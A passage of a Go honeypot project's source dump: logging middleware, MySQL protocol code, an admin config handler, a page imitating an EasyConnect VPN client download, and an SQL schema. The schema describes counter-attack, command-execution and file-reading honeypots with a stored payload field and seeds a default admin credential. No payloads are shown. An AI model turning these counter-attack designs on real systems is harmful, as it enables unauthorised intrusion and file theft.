67 | MasterConnectRetry: int(s.MasterConnectRetry),
68 | }
69 | }
70 |
--------------------------------------------------------------------------------
/honeyPot/utils/log/mylog.go:
--------------------------------------------------------------------------------
1 | package mylog
2 |
3 | import (
4 | "database/sql"
5 | "fmt"
6 | "github.com/gin-gonic/gin"
7 | _ "github.com/mattn/go-sqlite3"
8 | "github.com/sirupsen/logrus"
9 | "honeypot/admin/tools"
10 | "io"
11 | "os"
12 | "path"
13 | "strings"
14 | "time"
15 | )
16 |
17 | // 更改日志格式
18 |
19 |
20 | func Logger(filepath string) *logrus.Logger {
21 | now := time.Now()
22 | logFilePath := ""
23 | if dir, err := os.Getwd(); err == nil {
24 | logFilePath = dir + "/logs/" + filepath
25 | }
26 | if err := os.MkdirAll(logFilePath, 0777); err != nil {
27 | }
28 | logFileName := now.Format("2006-01-02") + ".log"
29 | //日志文件
30 | fileName := path.Join(logFilePath, logFileName)
31 | if _, err := os.Stat(fileName); err != nil {
32 | if _, err := os.Create(fileName); err != nil {
33 | fmt.Println(err.Error())
34 | }
35 | }
36 | //写入控制台
37 | writer1 := os.Stdout
38 | //写入文件
39 | writer2, err := os.OpenFile(fileName, os.O_APPEND|os.O_WRONLY, os.ModeAppend)
40 | if err != nil {
41 | fmt.Println("err", err)
42 | }
43 |
44 | //实例化
45 | logger := logrus.New()
46 |
47 | //设置输出
48 | logger.SetOutput(io.MultiWriter(writer1, writer2))
49 |
50 | //设置日志级别
51 | logger.SetLevel(logrus.InfoLevel)
52 |
53 | //设置日志格式
54 | logger.SetFormatter(&logrus.TextFormatter{
55 | TimestampFormat: "2006-01-02 15:04:05",
56 | })
57 | return logger
58 | }
59 |
60 | func HttpLog( filepath string, tablename string) gin.HandlerFunc {
61 | logger := Logger(filepath)
62 | return func(c *gin.Context) {
63 | // 处理请求
64 | c.Next()
65 |
66 | // 请求方式
67 | reqMethod := c.Request.Method
68 |
69 | // 请求路由
70 | reqUri := c.Request.RequestURI
71 |
72 | // 状态码
73 | statusCode := c.Writer.Status()
74 |
75 | // 请求IP
76 | clientIP := c.ClientIP()
77 |
78 | if !strings.Contains(reqUri,"jkxtmw") {
79 | requestlog := logger.WithFields(logrus.Fields{"reqMethod":reqMethod,"statusCode":statusCode,"clientIP":clientIP,"reqUri":reqUri})
80 | requestlog.Info()
81 | SqlHook(logger,tablename)
82 | }
83 | }
84 | }
85 |
86 |
87 | func NoHttpLog(filepath string, tablename string) *logrus.Logger{
88 | logger := Logger(filepath)
89 | SqlHook(logger,tablename)
90 | return logger
91 | }
92 |
93 | func SqlHook( logger *logrus.Logger, tablename string){
94 | timeout := time.Second * 10
95 | db, err := sql.Open("sqlite3", tools.DbPath)
96 | if err != nil {
97 | fmt.Printf("Unable to open database: %s\n", err)
98 | }
99 | //fmt.Println(("Database opened successful"))
100 | logger.SetLevel(logrus.InfoLevel)
101 | hook, err := NewSQLiteHook(db, tablename,timeout)
102 | if err != nil {
103 | fmt.Printf("Unable to initialize hook: %s\n", err)
104 | }
105 | //fmt.Println("Hook initialized successful")
106 | logger.AddHook(hook)
107 | }
108 |
--------------------------------------------------------------------------------
/honeyPot/utils/mysql/replication.go:
--------------------------------------------------------------------------------
1 | /*
2 | Copyright 2017 Google Inc.
3 |
4 | Licensed under the Apache License, Version 2.0 (the "License");
5 | you may not use this file except in compliance with the License.
6 | You may obtain a copy of the License at
7 |
8 | http://www.apache.org/licenses/LICENSE-2.0
9 |
10 | Unless required by applicable law or agreedto in writing, software
11 | distributed under the License is distributed on an "AS IS" BASIS,
12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | See the License for the specific language governing permissions and
14 | limitations under the License.
15 | */
16 |
17 | package mysql
18 |
19 | // This file contains the methods related to replication.
20 |
21 | // WriteComBinlogDump writes a ComBinlogDump command.
22 | // See http://dev.mysql.com/doc/internals/en/com-binlog-dump.html for syntax.
23 | // Returns a SQLError.
24 | func (c *Conn) WriteComBinlogDump(serverID uint32, binlogFilename string, binlogPos uint32, flags uint16) error {
25 | c.sequence = 0
26 | length := 1 + // ComBinlogDump
27 | 4 + // binlog-pos
28 | 2 + // flags
29 | 4 + // server-id
30 | len(binlogFilename) // binlog-filename
31 | data := c.startEphemeralPacket(length)
32 | pos := writeByte(data, 0, ComBinlogDump)
33 | pos = writeUint32(data, pos, binlogPos)
34 | pos = writeUint16(data, pos, flags)
35 | pos = writeUint32(data, pos, serverID)
36 | _ = writeEOFString(data, pos, binlogFilename)
37 | if err := c.writeEphemeralPacket(); err != nil {
38 | return NewSQLError(CRServerGone, SSUnknownSQLState, "%v", err)
39 | }
40 | return nil
41 | }
42 |
43 | // WriteComBinlogDumpGTID writes a ComBinlogDumpGTID command.
44 | // Only works with MySQL 5.6+ (and not MariaDB).
45 | // See http://dev.mysql.com/doc/internals/en/com-binlog-dump-gtid.html for syntax.
46 | func (c *Conn) WriteComBinlogDumpGTID(serverID uint32, binlogFilename string, binlogPos uint64, flags uint16, gtidSet []byte) error {
47 | c.sequence = 0
48 | length := 1 + // ComBinlogDumpGTID
49 | 2 + // flags
50 | 4 + // server-id
51 | 4 + // binlog-filename-len
52 | len(binlogFilename) + // binlog-filename
53 | 8 + // binlog-pos
54 | 4 + // data-size
55 | len(gtidSet) // data
56 | data := c.startEphemeralPacket(length)
57 | pos := writeByte(data, 0, ComBinlogDumpGTID)
58 | pos = writeUint16(data, pos, flags)
59 | pos = writeUint32(data, pos, serverID)
60 | pos = writeUint32(data, pos, uint32(len(binlogFilename)))
61 | pos = writeEOFString(data, pos, binlogFilename)
62 | pos = writeUint64(data, pos, binlogPos)
63 | pos = writeUint32(data, pos, uint32(len(gtidSet)))
64 | pos += copy(data[pos:], gtidSet)
65 | if err := c.writeEphemeralPacket(); err != nil {
66 | return NewSQLError(CRServerGone, SSUnknownSQLState, "%v", err)
67 | }
68 | return nil
69 | }
70 |
--------------------------------------------------------------------------------
/honeyPot/utils/mysql/binlog_event_mariadb.go:
--------------------------------------------------------------------------------
1 | /*
2 | Copyright 2017 Google Inc.
3 |
4 | Licensed under the Apache License, Version 2.0 (the "License");
5 | you may not use this file except in compliance with the License.
6 | You may obtain a copy of the License at
7 |
8 | http://www.apache.org/licenses/LICENSE-2.0
9 |
10 | Unless required by applicable law or agreedto in writing, software
11 | distributed under the License is distributed on an "AS IS" BASIS,
12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | See the License for the specific language governing permissions and
14 | limitations under the License.
15 | */
16 |
17 | package mysql
18 |
19 | import (
20 | "encoding/binary"
21 |
22 | "vitess.io/vitess/go/vt/proto/vtrpc"
23 | "vitess.io/vitess/go/vt/vterrors"
24 | )
25 |
26 | // mariadbBinlogEvent wraps a raw packet buffer and provides methods to examine
27 | // it by implementing BinlogEvent. Some methods are pulled in from
28 | // binlogEvent.
29 | type mariadbBinlogEvent struct {
30 | binlogEvent
31 | }
32 |
33 | // NewMariadbBinlogEvent creates a BinlogEvent instance from given byte array
34 | func NewMariadbBinlogEvent(buf []byte) BinlogEvent {
35 | return mariadbBinlogEvent{binlogEvent: binlogEvent(buf)}
36 | }
37 |
38 | // IsGTID implements BinlogEvent.IsGTID().
39 | func (ev mariadbBinlogEvent) IsGTID() bool {
40 | return ev.Type() == eMariaGTIDEvent
41 | }
42 |
43 | // GTID implements BinlogEvent.GTID().
44 | //
45 | // Expected format:
46 | // # bytes field
47 | // 8 sequence number
48 | // 4 domain ID
49 | // 1 flags2
50 | func (ev mariadbBinlogEvent) GTID(f BinlogFormat) (GTID, bool, error) {
51 | const FLStandalone = 1
52 |
53 | data := ev.Bytes()[f.HeaderLength:]
54 | flags2 := data[8+4]
55 |
56 | return MariadbGTID{
57 | Sequence: binary.LittleEndian.Uint64(data[:8]),
58 | Domain: binary.LittleEndian.Uint32(data[8 : 8+4]),
59 | Server: ev.ServerID(),
60 | }, flags2&FLStandalone == 0, nil
61 | }
62 |
63 | // PreviousGTIDs implements BinlogEvent.PreviousGTIDs().
64 | func (ev mariadbBinlogEvent) PreviousGTIDs(f BinlogFormat) (Position, error) {
65 | return Position{}, vterrors.Errorf(vtrpc.Code_INTERNAL, "MariaDB should not provide PREVIOUS_GTIDS_EVENT events")
66 | }
67 |
68 | // StripChecksum implements BinlogEvent.StripChecksum().
69 | func (ev mariadbBinlogEvent) StripChecksum(f BinlogFormat) (BinlogEvent, []byte, error) {
70 | switch f.ChecksumAlgorithm {
71 | case BinlogChecksumAlgOff, BinlogChecksumAlgUndef:
72 | // There is no checksum.
73 | return ev, nil, nil
74 | default:
75 | // Checksum is the last 4 bytes of the event buffer.
76 | data := ev.Bytes()
77 | length := len(data)
78 | checksum := data[length-4:]
79 | data = data[:length-4]
80 | return mariadbBinlogEvent{binlogEvent: binlogEvent(data)}, checksum, nil
81 | }
82 | }
83 |
--------------------------------------------------------------------------------
/honeyPot/admin/html/log.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 | 日志
17 |
18 |
19 |
20 |
26 |
43 |
44 |
45 |
46 | 日志数据
47 |
48 |
49 | | 时间 |
50 | 请求IP |
51 | 状态码 |
52 | 请求方式 |
53 | 请求地址 |
54 | 原始日志 |
55 |
56 |
57 |
58 | {{ range $i, $v := .res }}
59 |
60 | | {{$v.Time}} |
61 | {{$v.ClientIP}} |
62 | {{$v.StatusCode}} |
63 | {{$v.ReqMethod}} |
64 | {{$v.ReqUri}} |
65 | {{$v.Full_message}} |
66 |
67 | {{end}}
68 |
69 |
70 |
71 |
72 |
73 |
--------------------------------------------------------------------------------
/honeyPot/admin/db/sql/001_create_tables.sql:
--------------------------------------------------------------------------------
1 | -- +goose Up
2 | PRAGMA foreign_keys = false;
3 |
4 |
5 | DROP TABLE IF EXISTS "USER";
6 | CREATE TABLE "USER" (
7 | "id" integer NOT NULL,
8 | "USER" TEXT NOT NULL,
9 | "PASS" text NOT NULL,
10 | PRIMARY KEY ("id")
11 | );
12 |
13 |
14 | INSERT INTO "USER" VALUES (1, 'venus', '4f98416a6d70405114960fdcef0bc3e5');
15 |
16 | DROP TABLE IF EXISTS "burplog";
17 | CREATE TABLE "burplog" (
18 | "id" INTEGER NOT NULL,
19 | "time" text,
20 | "clientIP" text,
21 | "statusCode" text(3),
22 | "reqMethod" TEXT(5),
23 | "reqUri" TEXT,
24 | "full_message" TEXT,
25 | PRIMARY KEY ("id")
26 | );
27 |
28 |
29 | DROP TABLE IF EXISTS "gobylog";
30 | CREATE TABLE "gobylog" (
31 | "id" INTEGER NOT NULL,
32 | "time" text,
33 | "clientIP" text,
34 | "statusCode" text(3),
35 | "reqMethod" TEXT(5),
36 | "reqUri" TEXT,
37 | "full_message" TEXT,
38 | PRIMARY KEY ("id")
39 | );
40 |
41 |
42 | DROP TABLE IF EXISTS "log";
43 | CREATE TABLE "log" (
44 | "id" INTEGER NOT NULL,
45 | "time" text,
46 | "clientIP" text,
47 | "statusCode" text(3),
48 | "reqMethod" TEXT(5),
49 | "reqUri" TEXT,
50 | "full_message" TEXT,
51 | PRIMARY KEY ("id")
52 | );
53 |
54 |
55 | DROP TABLE IF EXISTS "mysqllog";
56 | CREATE TABLE "mysqllog" (
57 | "id" INTEGER NOT NULL,
58 | "time" TEXT,
59 | "msg" TEXT,
60 | PRIMARY KEY ("id")
61 | );
62 |
63 |
64 | DROP TABLE IF EXISTS "pot";
65 | CREATE TABLE "pot" (
66 | "id" INTEGER NOT NULL,
67 | "name" text NOT NULL,
68 | "pottype" TEXT NOT NULL,
69 | "state" integer NOT NULL,
70 | "url" TEXT NOT NULL,
71 | "configid" integer NOT NULL,
72 | PRIMARY KEY ("id")
73 | );
74 |
75 |
76 | INSERT INTO "pot" VALUES (1, 'BurpSuite蜜罐', '反制/命令执行', 0, 'burplog', 1001);
77 | INSERT INTO "pot" VALUES (2, 'VPN蜜罐', '诱导/反制', 0, 'vpnlog', 1002);
78 | INSERT INTO "pot" VALUES (3, 'Goby蜜罐', '反制/命令执行', 0, 'gobylog', 1003);
79 | INSERT INTO "pot" VALUES (4, 'Mysql蜜罐', '文件读取', 0, 'mysqllog', 1004);
80 |
81 | DROP TABLE IF EXISTS "pot_config";
82 | CREATE TABLE "pot_config" (
83 | "configid" INTEGER(4) NOT NULL,
84 | "port" integer(5) NOT NULL,
85 | "payload" text NOT NULL,
86 | "fileexists" integer(1) NOT NULL DEFAULT 0,
87 | "username" TEXT NOT NULL,
88 | "password" TEXT NOT NULL DEFAULT '',
89 | "filelist" TEXT NOT NULL DEFAULT '',
90 | "ip" TEXT NOT NULL DEFAULT '',
91 | PRIMARY KEY ("configid")
92 | );
93 |
94 | INSERT INTO "pot_config" VALUES (1004, 0, 0, 0, 0, 0, 0, 0);
95 | INSERT INTO "pot_config" VALUES (1003, 0, 0, 0, 0, 0, 0, 0);
96 | INSERT INTO "pot_config" VALUES (1002, 0, 0, 0, 0, 0, 0, 0);
97 | INSERT INTO "pot_config" VALUES (1001, 0, 0, 0, 0, 0, 0, 0);
98 |
99 | DROP TABLE IF EXISTS "vpnlog";
100 | CREATE TABLE "vpnlog" (
101 | "id" INTEGER NOT NULL,
102 | "time" text,
103 | "clientIP" text,
104 | "statusCode" text(3),
105 | "reqMethod" TEXT(5),
106 | "reqUri" TEXT,
107 | "full_message" TEXT,
108 | PRIMARY KEY ("id")
109 | );
110 |
--------------------------------------------------------------------------------
/honeyPot/utils/mysql/binlog_event_mysql56.go:
--------------------------------------------------------------------------------
1 | /*
2 | Copyright 2017 Google Inc.
3 |
4 | Licensed under the Apache License, Version 2.0 (the "License");
5 | you may not use this file except in compliance with the License.
6 | You may obtain a copy of the License at
7 |
8 | http://www.apache.org/licenses/LICENSE-2.0
9 |
10 | Unless required by applicable law or agreedto in writing, software
11 | distributed under the License is distributed on an "AS IS" BASIS,
12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | See the License for the specific language governing permissions and
14 | limitations under the License.
15 | */
16 |
17 | package mysql
18 |
19 | import (
20 | "encoding/binary"
21 |
22 | "vitess.io/vitess/go/vt/proto/vtrpc"
23 | "vitess.io/vitess/go/vt/vterrors"
24 | )
25 |
26 | // mysql56BinlogEvent wraps a raw packet buffer and provides methods to examine
27 | // it by implementing BinlogEvent. Some methods are pulled in from
28 | // binlogEvent.
29 | type mysql56BinlogEvent struct {
30 | binlogEvent
31 | }
32 |
33 | // NewMysql56BinlogEvent creates a BinlogEvent from given byte array
34 | func NewMysql56BinlogEvent(buf []byte) BinlogEvent {
35 | return mysql56BinlogEvent{binlogEvent: binlogEvent(buf)}
36 | }
37 |
38 | // IsGTID implements BinlogEvent.IsGTID().
39 | func (ev mysql56BinlogEvent) IsGTID() bool {
40 | return ev.Type() == eGTIDEvent
41 | }
42 |
43 | // GTID implements BinlogEvent.GTID().
44 | //
45 | // Expected format:
46 | // # bytes field
47 | // 1 flags
48 | // 16 SID (server UUID)
49 | // 8 GNO (sequence number, signed int)
50 | func (ev mysql56BinlogEvent) GTID(f BinlogFormat) (GTID, bool, error) {
51 | data := ev.Bytes()[f.HeaderLength:]
52 | var sid SID
53 | copy(sid[:], data[1:1+16])
54 | gno := int64(binary.LittleEndian.Uint64(data[1+16 : 1+16+8]))
55 | return Mysql56GTID{Server: sid, Sequence: gno}, false /* hasBegin */, nil
56 | }
57 |
58 | // PreviousGTIDs implements BinlogEvent.PreviousGTIDs().
59 | func (ev mysql56BinlogEvent) PreviousGTIDs(f BinlogFormat) (Position, error) {
60 | data := ev.Bytes()[f.HeaderLength:]
61 | set, err := NewMysql56GTIDSetFromSIDBlock(data)
62 | if err != nil {
63 | return Position{}, err
64 | }
65 | return Position{
66 | GTIDSet: set,
67 | }, nil
68 | }
69 |
70 | // StripChecksum implements BinlogEvent.StripChecksum().
71 | func (ev mysql56BinlogEvent) StripChecksum(f BinlogFormat) (BinlogEvent, []byte, error) {
72 | switch f.ChecksumAlgorithm {
73 | case BinlogChecksumAlgOff, BinlogChecksumAlgUndef:
74 | // There is no checksum.
75 | return ev, nil, nil
76 | case BinlogChecksumAlgCRC32:
77 | // Checksum is the last 4 bytes of the event buffer.
78 | data := ev.Bytes()
79 | length := len(data)
80 | checksum := data[length-4:]
81 | data = data[:length-4]
82 | return mysql56BinlogEvent{binlogEvent: binlogEvent(data)}, checksum, nil
83 | default:
84 | // MySQL 5.6 does not guarantee that future checksum algorithms will be
85 | // 4 bytes, so we can't support them a priori.
86 | return ev, nil, vterrors.Errorf(vtrpc.Code_INTERNAL, "unsupported checksum algorithm: %v", f.ChecksumAlgorithm)
87 | }
88 | }
89 |
--------------------------------------------------------------------------------
/honeyPot/utils/mysql/charset.go:
--------------------------------------------------------------------------------
1 | /*
2 | Copyright 2017 Google Inc.
3 |
4 | Licensed under the Apache License, Version 2.0 (the "License");
5 | you may not use this file except in compliance with the License.
6 | You may obtain a copy of the License at
7 |
8 | http://www.apache.org/licenses/LICENSE-2.0
9 |
10 | Unless required by applicable law or agreedto in writing, software
11 | distributed under the License is distributed on an "AS IS" BASIS,
12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | See the License for the specific language governing permissions and
14 | limitations under the License.
15 | */
16 |
17 | package mysql
18 |
19 | import (
20 | "fmt"
21 | "strconv"
22 |
23 | binlogdatapb "vitess.io/vitess/go/vt/proto/binlogdata"
24 | "vitess.io/vitess/go/vt/proto/vtrpc"
25 | "vitess.io/vitess/go/vt/vterrors"
26 | )
27 |
28 | // This file contains utility methods for Conn objects. Only useful on the client
29 | // side.
30 |
31 | // ExecuteFetchMap returns a map from column names to cell data for a query
32 | // that should return exactly 1 row.
33 | func ExecuteFetchMap(conn *Conn, query string) (map[string]string, error) {
34 | qr, err := conn.ExecuteFetch(query, 1, true)
35 | if err != nil {
36 | return nil, err
37 | }
38 | if len(qr.Rows) != 1 {
39 | return nil, vterrors.Errorf(vtrpc.Code_OUT_OF_RANGE, "query %#v returned %d rows, expected 1", query, len(qr.Rows))
40 | }
41 | if len(qr.Fields) != len(qr.Rows[0]) {
42 | return nil, vterrors.Errorf(vtrpc.Code_INTERNAL, "query %#v returned %d column names, expected %d", query, len(qr.Fields), len(qr.Rows[0]))
43 | }
44 |
45 | rowMap := make(map[string]string)
46 | for i, value := range qr.Rows[0] {
47 | rowMap[qr.Fields[i].Name] = value.ToString()
48 | }
49 | return rowMap, nil
50 | }
51 |
52 | // GetCharset returns the current numerical values of the per-session character
53 | // set variables.
54 | func GetCharset(conn *Conn) (*binlogdatapb.Charset, error) {
55 | // character_set_client
56 | row, err := ExecuteFetchMap(conn, "SHOW COLLATION WHERE `charset`=@@session.character_set_client AND `default`='Yes'")
57 | if err != nil {
58 | return nil, err
59 | }
60 | client, err := strconv.ParseInt(row["Id"], 10, 16)
61 | if err != nil {
62 | return nil, err
63 | }
64 |
65 | // collation_connection
66 | row, err = ExecuteFetchMap(conn, "SHOW COLLATION WHERE `collation`=@@session.collation_connection")
67 | if err != nil {
68 | return nil, err
69 | }
70 | connection, err := strconv.ParseInt(row["Id"], 10, 16)
71 | if err != nil {
72 | return nil, err
73 | }
74 |
75 | // collation_server
76 | row, err = ExecuteFetchMap(conn, "SHOW COLLATION WHERE `collation`=@@session.collation_server")
77 | if err != nil {
78 | return nil, err
79 | }
80 | server, err := strconv.ParseInt(row["Id"], 10, 16)
81 | if err != nil {
82 | return nil, err
83 | }
84 |
85 | return &binlogdatapb.Charset{
86 | Client: int32(client),
87 | Conn: int32(connection),
88 | Server: int32(server),
89 | }, nil
90 | }
91 |
92 | // SetCharset changes the per-session character set variables.
93 | func SetCharset(conn *Conn, cs *binlogdatapb.Charset) error {
94 | sql := fmt.Sprintf(
95 | "SET @@session.character_set_client=%d, @@session.collation_connection=%d, @@session.collation_server=%d",
96 | cs.Client, cs.Conn, cs.Server)
97 | _, err := conn.ExecuteFetch(sql, 1, false)
98 | return err
99 | }
100 |
--------------------------------------------------------------------------------
/honeyPot/admin/potconfig.go:
--------------------------------------------------------------------------------
1 | package admin
2 |
3 | import (
4 | "database/sql"
5 | "fmt"
6 | "github.com/gin-gonic/gin"
7 | "honeypot/admin/tools"
8 | "net/http"
9 | "strconv"
10 | "strings"
11 | )
12 |
13 | type PotConfigs struct {
14 | Configid int
15 | Port int
16 | Payload string
17 | Fileexists int
18 | Username string
19 | Password string
20 | Filelist string
21 | Ip string
22 | }
23 |
24 | // PotConfig 重启系统后需初始化相关表
25 | func PotConfig(c *gin.Context) {
26 | islogin := tools.GetSession(c)
27 | if islogin {
28 | if c.Request.Method == "GET" {
29 | configid, _ := strconv.Atoi(c.Query("configid"))
30 | res := ConfigRead(configid)
31 | res.Filelist = tools.ZeroToNull(res.Filelist)
32 | res.Payload = tools.ZeroToNull(res.Payload)
33 | res.Username = tools.ZeroToNull(res.Username)
34 | res.Password = tools.ZeroToNull(res.Password)
35 | res.Ip = tools.ZeroToNull(res.Ip)
36 | filename := ""
37 |
38 | if configid == 1002 {
39 | _, err := tools.PathExists(tools.VpnFile)
40 | if err == nil {
41 | ss := strings.Split(tools.VpnFile, "/")
42 | filename = ss[len(ss)-1]
43 | }
44 | }
45 |
46 | c.HTML(http.StatusOK, "potconfig.html", gin.H{
47 | "filename": filename,
48 | "res": res,
49 | })
50 | }
51 | if c.Request.Method == "POST" {
52 | username := tools.Strip(tools.ZeroToNull(c.PostForm("username")))
53 | password := tools.Strip(tools.ZeroToNull(c.PostForm("password")))
54 | port, _ := strconv.Atoi(tools.Strip(c.PostForm("port")))
55 | filelist := tools.ZeroToNull(c.PostForm("filelist"))
56 | configid, _ := strconv.Atoi(tools.Strip(c.PostForm("configid")))
57 | payload := tools.ZeroToNull(c.PostForm("payload"))
58 | fileexists, _ := strconv.Atoi(c.PostForm("fileexists"))
59 | ip := tools.Strip(tools.ZeroToNull(c.PostForm("ip")))
60 |
61 | config1 := PotConfigs{configid, port, payload, fileexists, username, password, filelist, ip}
62 | code := ConfigSave(config1)
63 | c.JSON(http.StatusOK, gin.H{"code": code})
64 | }
65 | } else {
66 | c.HTML(http.StatusOK, "login.html", nil)
67 | }
68 | }
69 |
70 | func ConfigRead(configid int) (PotConfig1 PotConfigs) {
71 | db, err := sql.Open("sqlite3", tools.DbPath)
72 | checkErr(err)
73 | defer db.Close()
74 |
75 | querystring := fmt.Sprintf("SELECT * FROM pot_config WHERE configid = %d", configid)
76 | rows, err := db.Query(querystring)
77 | checkErr(err)
78 | result := PotConfigs{configid, 0, "", 0, "", "", "", ""}
79 | for rows.Next() {
80 | var (
81 | port int
82 | payload string
83 | fileexists int
84 | username string
85 | password string
86 | filelist string
87 | ip string
88 | )
89 | err = rows.Scan(&configid, &port, &payload, &fileexists, &username, &password, &filelist, &ip)
90 | if err == nil {
91 | result = PotConfigs{configid, port, payload, fileexists, username, password, filelist, ip}
92 | }
93 |
94 | }
95 | return result
96 | }
97 |
98 | func ConfigSave(PotConfig1 PotConfigs) (code int) {
99 | db, err := sql.Open("sqlite3", tools.DbPath)
100 | checkErr(err)
101 | defer db.Close()
102 |
103 | sqlStr := "UPDATE pot_config SET port = ?,payload = ?,fileexists = ?,username = ?,password = ?,filelist = ?,ip = ? WHERE configid = ?"
104 | stmt, err := db.Prepare(sqlStr)
105 | checkErr(err)
106 |
107 | _, err = stmt.Exec(PotConfig1.Port, PotConfig1.Payload, PotConfig1.Fileexists, PotConfig1.Username, PotConfig1.Password, PotConfig1.Filelist, PotConfig1.Ip, PotConfig1.Configid)
108 | if err != nil {
109 | checkErr(err)
110 | } else {
111 | return 0
112 | }
113 |
114 | return 1
115 | }
116 |
--------------------------------------------------------------------------------
/honeyPot/admin/jkxtmw/js/Pagination.js:
--------------------------------------------------------------------------------
1 | (function ($) {
2 |
3 | let Name = "Pagination";
4 |
5 | $.fn.Pagination = function (options) {
6 | let myDoom = this;
7 | // 默认值
8 | options = options || {};
9 | options.page = options.page || 1; // 当前页数
10 | options.count = options.count || 1; // 总数量
11 | options.limit = options.limit || 10; // 每页数量
12 | options.groups = options.groups || 5; // 连续出现几个页码按钮
13 | options.prev = options.prev || ''; // 自定义上一页按钮
14 | options.next = options.next || ''; // 自定义下一页按钮
15 | options.first = options.first || ''; // 自定义首页按钮
16 | options.last = options.last || ''; // 自定义尾页按钮
17 | options.onPageChange = options.onPageChange || function (page) {console.log(page)};
18 |
19 | let PageFloat = Math.floor(options.groups / 2), // 页码浮动量 10/2 = 5
20 | maxPage = Math.ceil(options.count / options.limit), // 总页数
21 | pageListHtml = "";
22 |
23 | let i = options.page - PageFloat;
24 | if (options.page + PageFloat > maxPage ){ i = maxPage - (PageFloat * 2);} // 100 - 5 * 2 = 90
25 | if (i < 1){i = 1 ;}
26 |
27 | do {
28 | let Selected = "";
29 | if (i === options.page){
30 | Selected = 'active';
31 | }
32 | pageListHtml += ''+i+'';
33 | i ++;
34 | }while ((i <= (options.page + PageFloat) || options.page - PageFloat <= 0 && i < (options.page + PageFloat + (PageFloat + 2 - options.page) )) && i <= maxPage )
35 |
36 | let html = '';
44 |
45 |
46 | // 清空之前的内容然后再添加新内容
47 | myDoom.off('click');
48 | myDoom.empty();
49 | myDoom.append(html);
50 |
51 | // 切换页码
52 | myDoom.on('click', '.pagination .page-list', function() {
53 | options.page = parseInt($(this).text());
54 | myDoom.Pagination(options);
55 | options.onPageChange(parseInt($(this).text()));
56 | });
57 | // 首页、尾页、上一页、下一页
58 | myDoom.on('click','.pagination .pager-item',function () {
59 | let label = $(this).attr('aria-label');
60 | let page = 1;
61 | if (label === 'first'){
62 | page = 1;
63 | }
64 | else if (label === 'prev'){
65 | page = options.page - 1;
66 | if (page < 1 ) page = 1;
67 | }else if (label === 'next'){
68 | page = options.page +1;
69 | if (page > maxPage) page = maxPage;
70 | }else if (label === 'last'){
71 | page = maxPage;
72 | }
73 | options.page = page;
74 | myDoom.Pagination(options);
75 | options.onPageChange(page);
76 | })
77 | }
78 | }(jQuery));
79 |
--------------------------------------------------------------------------------
/honeyPot/plugins/vpn/resource/js/installClient.min.js:
--------------------------------------------------------------------------------
1 | function loadXML(){$.ajax({type:"get",url:"/por/ec_pkg.csp?platform=all&id="+Math.floor(1e3*Math.random()),dataType:"xml",success:function(a){var b=a,c=xmlToJSON.parseXML(b);"object"==typeof c.root.linux.deb.x86.info.link||"0"===c.root.linux.deb.x86.info.custom?g_install_device.linux.link.deb_x86=baseLink+c.root.linux.deb.x86.alias+"/EasyConnect_x86.deb":g_install_device.linux.link.deb_x86=c.root.linux.deb.x86.info.link,"object"==typeof c.root.linux.deb.x64.info.link||"0"===c.root.linux.deb.x64.info.custom?g_install_device.linux.link.deb_x64=baseLink+c.root.linux.deb.x64.alias+"/EasyConnect_x64.deb":g_install_device.linux.link.deb_x64=c.root.linux.deb.x64.info.link,"object"==typeof c.root.linux.rpm.x86.info.link||"0"===c.root.linux.rpm.x86.info.custom?g_install_device.linux.link.rpm_x86=baseLink+c.root.linux.rpm.x86.alias+"/EasyConnect_x86.rpm":g_install_device.linux.link.rpm_x86=c.root.linux.rpm.x86.info.link,"object"==typeof c.root.linux.rpm.x64.info.link||"0"===c.root.linux.rpm.x64.info.custom?g_install_device.linux.link.rpm_x64=baseLink+c.root.linux.rpm.x64.alias+"/EasyConnect_x64.rpm":g_install_device.linux.link.rpm_x64=c.root.linux.rpm.x64.info.link,"object"==typeof c.root.mac.info.link||"0"===c.root.mac.info.custom?g_install_device.mac.link=baseLink+c.root.mac.alias+"/EasyConnect.dmg":g_install_device.mac.link=c.root.mac.info.link,initPath()},error:function(a,b,c){initPath()}})}function osDetect(){var a=navigator.userAgent.toLowerCase(),b=navigator.platform.toLowerCase(),c=!!a.match(/(windows)/i)||"windows"===b,d=!!b.match(/(macintosh|mac68k|macppc|macintel)/i),e=!!b.match(/(iphone|ipod|ipad)/i)||!!a.match(/(iphone|ipod|ipad|like mac os x)/i),f=!!a.match(/(android)/i),g=!!b.match(/(linux|x11)/i)||!!a.match(/(linux|x11)/i),h=a.match(/(ubuntu)/i)?"deb":"rpm",i=a.match(/(x86_64|x86-64|x64|amdx64)/i)?"x64":"x86",j={windows:c,mac:d,ios:e,android:f,linux:{isLinux:g,version:h,bits:i}};return function(){for(var a in j){if(j[a].isLinux)return[a,j[a]];if(j[a])return[a,{}]}return["windows",{}]}()}function initPath(){$("#deb_x86").attr("href",g_install_device.linux.link.deb_x86),$("#deb_x64").attr("href",g_install_device.linux.link.deb_x64),$("#rpm_x86").attr("href",g_install_device.linux.link.rpm_x86),$("#rpm_x64").attr("href",g_install_device.linux.link.rpm_x64),$("#macLink").attr("href",g_install_device.mac.link)}function update(a){var b=$("#"+a),c=$(".main").width(),d=$(".deviceBtn").width(),e=(b.index()-1)*c*-1,f=(b.index()-1)*d;$(".ulbox").animate({left:e},400),$("#navAnim").animate({left:f},400),b.siblings().filter(function(){$(this).removeClass($(this).attr("id")+"ActiveBtn"),$(this).removeClass("activeBtn clickedBtn")}),b.addClass("activeBtn clickedBtn"),b.addClass(a+"ActiveBtn")}function initEvent(){loadXML(),update(osDetect()[0]);var a=$(".deviceBtn");a.click(function(){update($(this).attr("id"))}),a.hover(function(){$(this).hasClass("clickedBtn")||($(this).addClass($(this).attr("id")+"ActiveBtn"),$(this).addClass("activeBtn"),$(this).siblings("li").filter(function(){$(this).removeClass($(this).attr("id")+"ActiveBtn"),$(this).removeClass("activeBtn")}))},function(){$(this).parent().children().removeClass("activeBtn"),$(this).parent().children().filter(function(){$(this).removeClass($(this).attr("id")+"ActiveBtn")});var a=$(".clickedBtn");a.addClass("activeBtn"),a.addClass(a.attr("id")+"ActiveBtn")})}function checkEcAgentInstall(){initEcAgent({success:function(a){var 